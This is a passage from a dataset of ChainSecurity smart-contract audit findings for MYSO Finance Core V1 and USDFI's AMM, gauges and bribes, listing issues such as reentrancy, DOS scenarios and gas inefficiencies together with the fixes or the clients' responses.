"https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.7 Redundant Events Emitted", "body": " The function setApproval iterates through all approval types and emits an event independently if an approval status is updated or not. Therefore, even if only one approval type is changed for an _approvee, five events will be emitted. Code corrected Function setApproval has been updated to emit the event when at least one of the approvals changes state. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.8 Disabled Optimizer", "body": " In hardhat.config.js the optimizer is not explicitly enabled and the default value for hardhat is enabled: false. Enabling the optimizer may help to reduce gas cost. Code corrected The optimizer has been enabled and the runs are set to 1000. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.9 Inaccessible TREASURY Account", "body": " TREASURY The to declared 0x1234567890000000000000000000000000000001 which is not in the control of the developers, hence all protocol fees collected by the system will be locked forever. MYSO Finance is aware of this issue and will use a multisig account for the treasury on deployment. constant address and set as is Code corrected The constant variable TREASURY is replaced with the state variable poolCreator which is assigned to msg.sender in constructor. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.10 Insufficient Check for Minimal Loan Given", "body": " Total LP Shares The second condition in the following code is supposed to check that repayment amount for a loan is big enough that all LPs can claim non-zero amounts if the loan is repaid given their share: MYSO Finance - Core Protocol V1 - 19 DesignLowVersion2CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChanged \fif ( ... || ((repaymentAmount * BASE) / totalLpShares) == 0 ) revert ErroneousLoanTerms(); The check might not work as intended for loan tokens with low decimals, e.g., USDC (6 decimals), as BASE is a constant with value 10**18. For example, if repaymentAmount is 10**7 (10 USDC) and totalLpShares is 10**8 (2 LPs with 5 * 10**7 shares each) the check would still pass. Specification changed MYSO Finance has changed the specifications and decided to remove the check above as it effectively would increase the minimum loan amount over time as total LP shares increase. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.11 Inverted NewSubPool Event Token Fields", "body": " The NewSubPool event definition in IBasePool.sol specifies that the first two fields are collCcyToken and loanCcyToken, but when the event is emitted in the constructor, the two fields are set to _loanCcyToken and _collCcyToken. Code corrected The definition of event NewSubPool in IBasePool is updated and the parameters are in line with the code that emits the event: event NewSubPool( address loanCcyToken, address collCcyToken, ... ); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.12 Misleading ApprovalUpdate Event", "body": " The function setApprovals emits an event only when an approval type is set to true, even if it was previously the case, and nothing is emitted when an approval is unset. An example is: current approvals are 10101 and the updated approvals are 10100. The event is misleading in the sense that it will be emitted for indices 0 and 2, which have not been updated, and no ApprovalUpdate event is emitted for the actual update of the index 4. Code corrected The event Approval is now emitted for every index with the status true or false and independently if it was changed from the previous state. MYSO Finance - Core Protocol V1 - 20 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.13 Missing Precision of Pool Parameters The documentations and inline specifications do not describe the precision of the pool parameters. To improve the readability of the code and avoid possible mistakes, the decimals used for all pool parameters such as r1, r2, liquidityBnd1 and liquidityBnd2 should be stated clearly. Code corrected Inline code comments were added for the variables mentioned above, which specify the precision of expected values: uint256 r1; // denominated in BASE and w.r.t. tenor (i.e., not annualized) uint256 r2; // denominated in BASE and w.r.t. tenor (i.e., not annualized) uint256 liquidityBnd1; // denominated in loanCcy decimals uint256 liquidityBnd2; // denominated in loanCcy decimals ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "6.14 Non-indexed Events", "body": " No parameters are indexed in the events of contracts BasePool. It is recommended to index the relevant event parameters to allow integrators and dApps to quickly search for these and simplify UIs. Code corrected MYSO Finance has evaluated the events used in BasePool and has indexed parameters that they deem useful for future UI and dashboard integrations. Several events such as NewSubPool and Approval have non-indexed parameters, however, the client intentionally kept them unchanged. MYSO Finance - Core Protocol V1 - 21 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.1 LP Shares Dilute Over Time", "body": " The shares of an LP dilute over time as more activity happens in a pool by users that borrow and LPs that add more liquidity. Therefore, LPs should monitor their proportion of LP shares to the total LP shares and remove their liquidity from a pool when their share to loan repayments or collateral becomes insignificant. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.2 LPs Get Slightly Less Token for Their Shares", "body": " The pool keeps a minimum of loan tokens and it does not allow LPs to fully empty a pool. When removing liquidity, LPs get slightly less tokens than their fair share to maintain the minimum liquidity in the pool. The relevant code is: uint256 liquidityRemoved = (numShares * (_totalLiquidity - MIN_LIQUIDITY)) / _totalLpShares; ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.3 LPs Should Be Careful When Claiming", "body": " function claim or LPs can claim repayments and collateral claimFromAggregated. It is important to note that LPs are responsible for claiming loans always in order. Otherwise, any loan skipped during a claim is impossible to be claimed in the future. their share of tokens via Furthermore, LPs can skip all loans during a time window via the function overrideSharePointer. Similarly, if an LP calls this function, they cannot claim anymore the repayments and collateral for all loans linked with the skipped shares. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.4 Limitations on Claiming Batch of Loans", "body": " Both functions claim and claimFromAggregated allow LPs to claim loans in batches over a period during which the LP has not changed its shares in a pool. LPs should be aware that modifying their position in a pool by topping up or removing liquidity, will require them to perform multiple transactions for the claiming which increases gas costs and potentially prevents LPs from using aggregate claims. MYSO Finance - Core Protocol V1 - 22 NoteVersion2NoteVersion1NoteVersion1NoteVersion1 \f7.5 Locked Tokens ERC20 tokens could be accidentally/intentionally sent to the pool contracts. In that case the tokens will be Incidents (https://coincentral.com/erc223-proposed-erc20-upgrade/) in the past showed this is a real issue as there always will be users sending tokens to the token contract. recover locked, them. with way no to ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.6 Minimum Loan Amount Allowed", "body": " The constructor of BasePool does not enforce any restriction on the minimum allowed amount for loans. Therefore, the pool deployer should carefully set this value depending on the specific token used as loan token. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.7 Positions in a Pool Are Non Transferrable", "body": " All positions in pools held by liquidity providers or borrowers are tracked in the contract BasePool and they are non-transferable. Users can approve other addresses to act on their behalf, but there is no support for transferring ownership of positions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.8 Possible to Overpay Loans", "body": " Functions repay and rollOver check that the user always pays at least the due amount. However, both functions allow users to overpay their loans by 1% in case users cannot precisely calculate the sending amount for tokens with transfer fees. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.9 Profits of a Pool Are Not Equally Distributed", "body": " The profits of a pool from loan repayments are not equally distributed among liquidity providers. The system is designed such that profits for an LP depend on loans that borrow most of their liquidity. For example, if a pool starts with an interest i and over time the interest rate goes to 3 x i, initial LPs will earn payments from loans with interest i, while LPs joining later will have higher profits (as the interest rate tripled to 3 x i). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "7.10 Transfer Fee for Upgradable Tokens", "body": " function getLoanCcyTransferFee The is hard-coded to return 0 as fee for the loan token, namely USDC. We would like to highlight that the pools would not work as expected if upgradable tokens were to introduce fees in new implementations. in contracts PoolPaxgUsdc and PoolWethUsdc MYSO Finance - Core Protocol V1 - 23 NoteVersion1NoteVersion2NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f7.11 if Blocks Without Curly Braces It is generally good practice to enclose every if/else block into curly braces. It increases code readability and lowers possibilities for bugs like the famous goto fail; bug in Apple SSL code https://blog.codecentric.de/en/2014/02/curly-braces/. MYSO Finance - Core Protocol V1 - 24 NoteVersion1 \f8 Monitoring A thorough code audit is just one important part of a comprehensive smart contract security framework. Next to proper documentation/specification, extensive testing and auditing pre-deployment, security monitoring of live contracts can add an additional layer of security. Contracts can be monitored for suspicious behaviors or system states and trigger alerts to warn about potential ongoing or upcoming exploits. Consider setting up monitoring of contracts post-deployment. Some examples (non-exhaustive) of common risks worth monitoring are: 1. Assumptions made during protocol design and development. 2. Protocol-specific invariants not addressed/mitigated at the code level. 3. The state of critical variables 4. Known risks that have been identified but are considered acceptable. 5. External contracts, including assets your system supports or relies on, that may change without your knowledge. 6. Downstream and upstream risks - third-party contracts you have direct exposure to (e.g. a third party liquidity pool that gets exploited). 7. Privileged functionality that may be able to change a protocol in a significant way (e.g. upgrade the protocol). This also applies to on-chain governance. 8. Protocols relying on oracles may be exposed to risks associated with oracle manipulation or staleness. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "8.1 Project-specific monitoring opportunities", "body": " We have identified some areas in Core Protocol V1 that would be well suited for security monitoring. We classify these into two categories: invariants and suspicious changes. If an invariant of the system doesn't hold anymore, there has been unexpected behavior requiring immediate investigation. If a change of a suspicious condition has been observed, something has happened which could change the behavior of the system and requires timely investigation to ensure the continued safety. The following monitoring opportunities have been identified: suspicious Identified and getLoanCcyTransferFee are hardcoded to return a transfer fee of 0 for tokens that currently do not have such fees. However, for upgradable tokens such as USDC, this could change in new implementations, hence this change can be monitored and trigger an alert if fees ever change. getCollCcyTransferFee functions change: The Identified suspicious change: All pools have a finite number of cycles for borrowing and adding liquidity until a potential overflow on the total LP shares may happen. Therefore, the value of totalLpShares can be monitored and trigger an alert if it becomes large enough to overflow, e.g., larger than 2**240, so a new pool can be deployed. MYSO Finance - Core Protocol V1 - 25 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/myso-finance-core-v1/"}, {"title": "5.1 Distributing Multiple Times Is Possible Even", "body": " in the Same Block The documentation specifies that the next distribution must be 7 days away from the last distribution. However, this is not necessarily the case. Consider the following example: 1. lastDistribute is block.timestamp - 2 weeks - 1 2. preDistribute() is called. lastDistribute is now block.timestamp - 1 weeks - 1 ISSUEIDPREFIX-001 3. Optionally, distribute() is called. 4. preDistribute() is called. lastDistribute is now block.timestamp - 1 5. Optionally, distribute() is called. That may occur if the initial lastDistribute value is low (lack of sanity check in the constructor) or if the distribution is not called regularly. Ultimately, the specification is violated. Further, the behaviour in such cases is unspecified. Acknowledged: USDFI has acknowledged this issue stating that: Emergency option to resync time in case of epoch desync (ie, force majeur event) USDFI - AMM, Gauges and Bribes - 11 DesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedRiskAcceptedRiskAcceptedCorrectnessLowVersion1Acknowledged \f5.2 Lost Rewards The reward rate in gauges is typically computed as reward / DURATION. If reward < DURATION holds, the reward rate will be 0. Ultimately, the rewards are lost as they will not be accounted in in the future. ISSUEIDPREFIX-002 Acknowledged: USDFI replied Rewards must be lost to prevent griefing attacks that can occur due to non-shareable numbers! However, it could be possible to cache the non-distributable rewards so that they could be accounted for in the future. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "5.3 Poking May Revert", "body": " Poking can revert when _prevWeight * _weight < _prevUsedWeight holds. That may be the case when the user had a big decrease in balance. Another scenario could be when the user had specified a small amount of weight allocated to a gauge (e.g. 1, balance decrease from 100 to 99). The revert occurs in the bribe where _deposit() and _withdraw() revert with zero amounts. Ultimately, a user may not be poked anymore, which could lead to reverts in the gauge's updateReward modifier. However, the issue may be repaired by using vote() or reset(). ISSUEIDPREFIX-003 Risk accepted: USDFI states: Smaller amounts are not allowed by the voter, because of the linear drop no fast drops are possible (poking reversion is completely ruled out by the vote escrow function in the vote escrow contract (outside of audit scope)). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "5.4 burn() Read-Only Reentrancy", "body": " The burn() function in the pair contract first reduces the total supply and the user's balance, then transfers the underlying tokens, and last reduces the stored reserves. If the transferred token is a reentrant token, a state inconsistency between the supply and the stored reserves is created. Note that any computation based on the current supply and the underlying reserves may return wrong results. ISSUEIDPREFIX-004 Risk accepted: USDFI has accepted the risk to keep their implementation closer to Uniswap V2. USDFI - AMM, Gauges and Bribes - 12 DesignLowVersion1AcknowledgedDesignLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \fUSDFI - AMM, Gauges and Bribes - 13 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Contracts Do Not Extend the Interfaces DOS on Gauges When Derived Supply Is 0 ERC-2612 Violations Lack of Testing -Severity Findings Different Library Versions Fees Claimable After 50 Weeks Initial Referral Fee Lack of Events Maximum Referral Fee Used Weights Are Not Reset recoverERC20() Allows Recovering Arbitrary Tokens 0 0 4 7 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.1 Contracts Do Not Extend the Interfaces", "body": " Most of the contracts interact with each other based on the interface definitions. For example, GaugeFactory relies on IBribe to handle the calls. However the Bribe contract itself does not explicitly implement the IBribe interface (addReward is missing). ISSUEIDPREFIX-012 The following is an incomplete list of further examples: BaseV1Pair does not implement IBasePair BaseV1Factory does not implement IBaseV1Factory GaugeFactory does not implement IGaugeFactory Similarly, this is true for other contracts. Without typing, there are no compile-time guarantees that the contract will be compatible with the calls to the functions that the interface defines. This can lead to potential runtime errors and exceptions that are hard to debug. It is important to explicitly define that the contracts implement the corresponding interfaces, to minimize such errors. USDFI - AMM, Gauges and Bribes - 14 CriticalHighMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrected \f The contracts are implementing now the corresponding interfaces. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.2 DOS on Gauges When Derived Supply Is 0", "body": " The subtraction (rewardPerToken() - userRewardPerTokenPaid[account]) ISSUEIDPREFIX-008 in earned() implies that the rewardPerToken() function should be an increasing function. Otherwise, the subtraction will revert. However, its value could decrease when the derived supply goes to zero. Consider the following scenario: 1. Assume a user for whom userRewardPerTokenPaid[userA] > 0 holds. The derived supply is 0. The reward per token is 0. 2. A deposit to address 0 is made by an attacker with 1 wei. rewardPerTokenStored is set to 0. 3. User A wants to deposit again. The subtraction above reverts. Note that a scenario for step 2 could occur when user A gets poked first so that his weight changes to 0 (and the total weight too). Then he could get kicked as his derived balance is 0. Ultimately, he will not be able to receive any rewards anymore. Ultimately, user A will not be able to perform any actions on the gauge anymore. Code returns 0 if derivedSupply == 0. Hence, the aforementioned scenario cannot revert earned(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.3 ERC-2612 Violations", "body": " The permit() functionality is defined in ERC-2612 which is based on ERC-712. Note that there are two violations of the standards: 1. The PERMIT_TYPEHASH violates EIP-712 which describes the typehash to be the keccak256 of the encoded struct. However, its value does not match the hash. 2. The lack of an external DOMAIN_SEPARATOR() function violates the ERC-2612 standard. ISSUEIDPREFIX-017 Ultimately, the implemented standard is violated. The code has been corrected. USDFI - AMM, Gauges and Bribes - 15 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f6.4 Lack of Testing The codebase does not include any tests. Note that it is highly recommended to properly test intended and unintended behaviour with unit and end-to-end tests. These tests help can build an understanding of undocumented functionality. ISSUEIDPREFIX-014 USDFI has implemented a testing infrastructure using Hardhat. Please note that tests are considered out-of-scope. Hence, their correctness and/or coverage are not reviewed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.5 Different Library Versions", "body": " The libraries have different versions. For example, the Audit/gauge_factory/Address.sol and Audit/bribe_factory/Address.sol files have different versions. ISSUEIDPREFIX-011 The issue has been addressed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.6 Fees Claimable After 50 Weeks", "body": " The documentation specifies that fees are not claimable after 50 weeks. However, the code implements this differently. Consider, the scenario where userTimestamp is 100 weeks ago. Then, the iteration in earned() will start at the userTimestamp and iterate for 50 weeks. Afterwards, the userTimestamp is updated to the current epoch. Hence, it forfeits the new rewards. ISSUEIDPREFIX-018 Specification changed: USDFI has decided to change his documentation, claiming that: We believe that it's not logical to assume that a user actively votes in the protocol\u2019s governance, but does not claim his rewards for 50 consecutive weeks which are visibly on display every time he votes using the frontend. Note that during the fix window, we have not received any formal documentation (rather than code comments) from the USDFI to validate this specification has been changed. USDFI - AMM, Gauges and Bribes - 16 DesignMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChanged \f6.7 Initial Referral Fee The documentation specifies that the default base referral fee shall be 2%. However, it is 0%. ISSUEIDPREFIX-016 Code Corrected: USDFI has correctly hardcoded baseReferralFee to 2000. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.8 Lack of Events", "body": " Events are not emitted always emitted on important state-modifying actions. Note that this is the case across all contracts. The following is an incomplete list of functions that lack event emissions: ISSUEIDPREFIX-015 BaseV1Factory.setBaseStableFee() BaseV1Factory.setBaseVariableFee() BaseV1Factory.setShouldGasThrottleAndMaxGasPrice() BaseV1Factory.setOwner() BaseV1Factory.acceptOwner() BaseV1Factory.setPause() BaseV1Factory.setProtocolAddress() BaseV1Factory.setAdmins() BaseV1Factory.setPause() BaseV1Factory.setPause() BaseV1Factory.setPause() BaseV1Pair.setFee() GaugeFactory.preDistribute() GaugeFactory.updateVeProxy() GaugeFactory.updatePokeDelay() GaugeFactory.updateMaxVotesToken() GaugeFactory.updateReferrals() ProtocolGovernance.setGovernance() ProtocolGovernance.acceptGovernance() ProtocolGovernance.setAdminAndVoter() ProtocolGovernance.setStableMiner() ProtocolGovernance.updateBaseReferrals() Gauge.kick() Gauge.updateReferral() Gauge.setWhitelisted() USDFI - AMM, Gauges and Bribes - 17 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f BribeFactory.createBribe() Bribe.addRewardtoken() Bribe.setWhitelisted() Bribe.updateReferral() Emitting events could ease following the state of the contract. USDFI has added emitting relevant events to the functions of the above list. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.9 Maximum Referral Fee", "body": " The documentation specifies that the referral fee for gauges and bribes is at most 10%. However, that is not enforced, and; hence, the referral fee may exceed 10%. ISSUEIDPREFIX-007 USDFI has corrected the code by enforcing this limit: require((_baseReferralFee <= 10000), \"must be lower 10%\"); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.10 Used Weights Are Not Reset", "body": " When weights are reset, usedWeight is not set to 0. While this has no impact on voting or execution, the automatic getter for usedWeight may return outdated values. ISSUEIDPREFIX-013 USDFI has successfully corrected the code by setting usedWeights[_owner] to zero. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.11 recoverERC20() Allows Recovering", "body": " Arbitrary Tokens The recoverERC20() function should according to the documentation allow the governance to withdraw non-reward tokens from the bribe contract. However, reward tokens can be withdrawn, too. ISSUEIDPREFIX-020 USDFI - AMM, Gauges and Bribes - 18 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f USDFI correctly has changed to code to check that the token to be withdrawn is not a reward token. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.12 Comments With Errors", "body": " The code contains some comments with errors. Examples are: 1. The comment for the stable parameter of BaseV1Pair specifies that is not immutable, while it is. 2. The comment for the baseStableFee of BaseV1Factory mentions that it is 0.04%. However, it ISSUEIDPREFIX-009 is 0.05%. USDFI has successfully resolved both the aforementioned errors. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.13 Gas Optimisation", "body": " ISSUEIDPREFIX-019 The codebase has several inefficiencies in terms of gas costs when deploying and executing smart contracts. Here, we report a list of non-exhaustive possible gas optimisations: 1. Bribe.constructor: To deploy a bribe contract, in order to set firstBribeTimestamp, referralContract, and referralFee, multiple queries to the gaugeFactory are made. However, the memory variable _gaugeFactory has the same address and using it instead of gaugeFactory reduces number of storage reads. 2. getRewardForOwnerToOtherOwnerSingleToken of Bribe has a visibility of public, with input parameter in the memory. As this function is only called externally, its visibility can be changed to external and consequently the input parameters to calldata. 3. The visibility of updateReferral in Bribe can be changed to external and its input parameters to calldata. 4. BribeFactory defines a storage variable named last_bribe, which is set but never read. Apart from that, the constructor returns this storage variable, although a local memory variable lastBribe holds the same address and returning it is more gas efficient. 5. Gauge defines two state variables token and TOKEN, which necessarily hold the same address once set. Following the code path, they never get out of sync and are always equal. Hence, holding just one of them and cast it whenever neccesary. 6. gaugeFactory in Gauge is never modified after being set in the constructor. Hence, it can be defined as immutable. Apart from that, they way it is set in the current implementation, it holds the same value as DISTRIBUTION. 7. Gauge._claimVotingFees calculates bribe even in the case, where neither claimed0 nor claimed1 is non-zero. Calculating bribe inside the if-statement makes it more gas efficient. 8. Gauge._deposit defines a local memory variable userAmount, which holds the value of input parameter amount. It seems to be unnecessary. USDFI - AMM, Gauges and Bribes - 19 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f9. GaugeFactory._vote updates totalWeight incementally in each iteration of the loop. By accumulating all the changes at updating totalWeight after the last iteration, gas consumption can be reduced significantly. 10. GaugeFactory.addGauge writes to the last element of maxVotesToken. However, this last element has the same value as the input parameter _tokenLP. 11. GaugeFactory.preDistribute inside the loop, makes multiple accesses to the storage variable lockedWeights[_tokens[i]]. Doing the intermediate calculations in the memory and writing them back to storage is more gas efficient. 12. GaugeFactory.updateReferrals can be defined as external along its input parameters as calldata. 13. GaugeFactory.delay can be defined as constant, as its value never changes later. 14. GaugeFactory.STABLE after being assigned a value in the constructor never gets modified. Hence, it can be defined as immutable. 15. BaseV1Pair.permit recalculates DOMAIN_SEPARATOR for every call. It makes sense as a prevention mechanism against forks. The storage write could potentially be done only if the chain id changed. 16. BaseV1Pair defines an event named Claim. It is called only once with sender and recipient holding the same address. 17. BaseV1Factory.constructor sets the storage variable isPaused to false, which is the default value for any boolean values. 18. BaseV1Factory defines three storage variables _temp0, _temp1, and _temp. These variables are used solely as input parameters when deploying a BaseV1Pair. Instead of occupying extra storage for these variables, they can easily be defined as input parameters to the BaseV1Pair. 19. The modifier BaseV1Pair.gasThrottle can be implemented more optimised, by assigning maxGasPrice == 0 as should not throttle, which consequently removes the need to define state variable shouldGasThrottel in BaseV1Factory. USDFI has correctly addresses most of the aforementioned gas inefficiencies. The following inefficiencies are going to be reviewed later by USDFI: 1. GaugeFactory.divisor can be defined as constant. Its value is not later set during deployment through constructor. 2. BaseV1Factory defines three storage variables _temp0, _temp1, and _temp. These variables are used solely as input parameters when deploying a BaseV1Pair. Instead of occupying extra storage for these variables, they can easily be defined as input parameters to the BaseV1Pair. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.14 No NatSpec", "body": " While documentation was provided, the individual functions are not documented in the code. It is highly recommended to at least describe each entry point with descriptive comments (e.g. NatSpec for all functions). ISSUEIDPREFIX-021 USDFI - AMM, Gauges and Bribes - 20 InformationalVersion1CodeCorrected \f Comments have been added. However, no NatSpec was used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "6.15 Referrals Default Values", "body": " The referralContract by default is the 0-address, indicating that this feature is deactivated. However, the code will revert if governance does not have a valid referral contract. Further, if there is no mainRefFeeReceiver specified, the 0-address receives funds. ISSUEIDPREFIX-010 Initial values need to be provided on construction now. USDFI - AMM, Gauges and Bribes - 21 Version1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "7.1 Magic Values", "body": " The use of magic numbers in the codebase is not recommended, they should be replaced by variables with a self-explanatory name. Examples are: ISSUEIDPREFIX-005 The scaling factor 1e18 1000 10000 100000 50 (number of maximum iterations in Bribe.earned) Code partially corrected: Some of the numbers have been replaced by variables with a self-explanatory name. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "7.2 Voting Twice per Epoch Possible", "body": " poke() can be considered as a voting function. However, it ignores lastVote. Hence, it is technically possible to revote with the same allocations. ISSUEIDPREFIX-006 Acknowledged: USDFI has acknowledged this issue stating that: This is by design since poke may be executed voluntarily at any time. Please note that re-poking and re-voting without acquiring more veTokens is only to the detriment of the user himself as the passage of time always reduces his voting power (veTokens) and is also costly USDFI - AMM, Gauges and Bribes - 22 InformationalVersion1CodePartiallyCorrectedInformationalVersion1Acknowledged \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.1 DOS Possibilities", "body": " If governance adds to many gauges, preDistribute() may hit the gas limit. Additionally, users could vote for too many gauges so that they DOS themselves. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.2 Deprecated Gauges May Have Locked", "body": " Rewards The function preDistribute() considers the weight of the deprecated gauges for the total amount of votes. However, the distribute() function will never distribute such rewards. Hence, as long as there are any deprecated gauges with remaining votes, tokens will be locked in the contract. It is worth mentioning that this is required since, otherwise, the distribution could be DOSed, if a gauge was resurrected between predistribution and distribution. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.3 Low Default Fee Value for LPs", "body": " LPs should be aware that by default only 20% percent of the accrued fees will be allocated to them. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.4 Reward Mechanics", "body": " An LP with high liquidity may provide liquidity to gauges, when he sees a high rate. Other users, who bribed the voters to receive rewards, may end up getting less profit compared to just receiving fees. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.5 Sandwiching", "body": " Users should be aware that sandwiching swaps is possible (similar to Uniswap V2 like pools). As described in System Overview, users should use helper contracts that allow specifying slippage protection so that sandwich attacks are limited to some degree. USDFI - AMM, Gauges and Bribes - 23 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f8.6 What Should Happen With Voteless Bribes? If a bribe is notified about a reward, it stores the reward for the next epoch. However, if no voter voted for the allocations, and hence did not receive bribe shares, no one will be able to claim the bribes. Note that it is assumed that at least a voter will cast a vote to claim the rewards. However, gas fees could be higher than the reward's value. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.7 distribute() Without preDistribute()", "body": " When a gauge is added, hasDistributed for the LP token will be false. Hence, it is technically possible to distribute rewards without preDistribute(), although its reward will be zero. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.8 gasThrottle", "body": " The gasThrottle modifier is applied to the swap() function to reduce the impact of front-running by specifying a maximum gas price an action should be able to have. However, such a mechanism brings certain risks. The following is an incomplete list of examples: 1. Gas price changes naturally and exceeds the maximum. Swaps can be broken temporarily until the maximum price is updated. 2. It is still be possible to front-run users with mints so that the price is affected. Consider the example, in which only one LP exists. Minting does not yield a loss for the user in that scenario but can change the price significantly. 3. Some liquidators may want to exchange the liquidated funds against the repayment currency so that the profit in the repayment currency is guaranteed. Since liquidations are time-sensitive, higher gas prices are set. gasThrottle could make it undesirable for liquidators to use the exchange in such scenarios. Further, note that MEV often is done by transferring ETH to the block creator directly. Hence, in such cases the mechanism is ineffective. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.9 refLevelPercent Is Ended With 0 Elements", "body": " Users should be aware that a zero element in refLevelPercent will break the fee distribution for the subsequent elements. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "8.10 rewardsPerToken() Can Return", "body": " rewardsPerEpoch The function 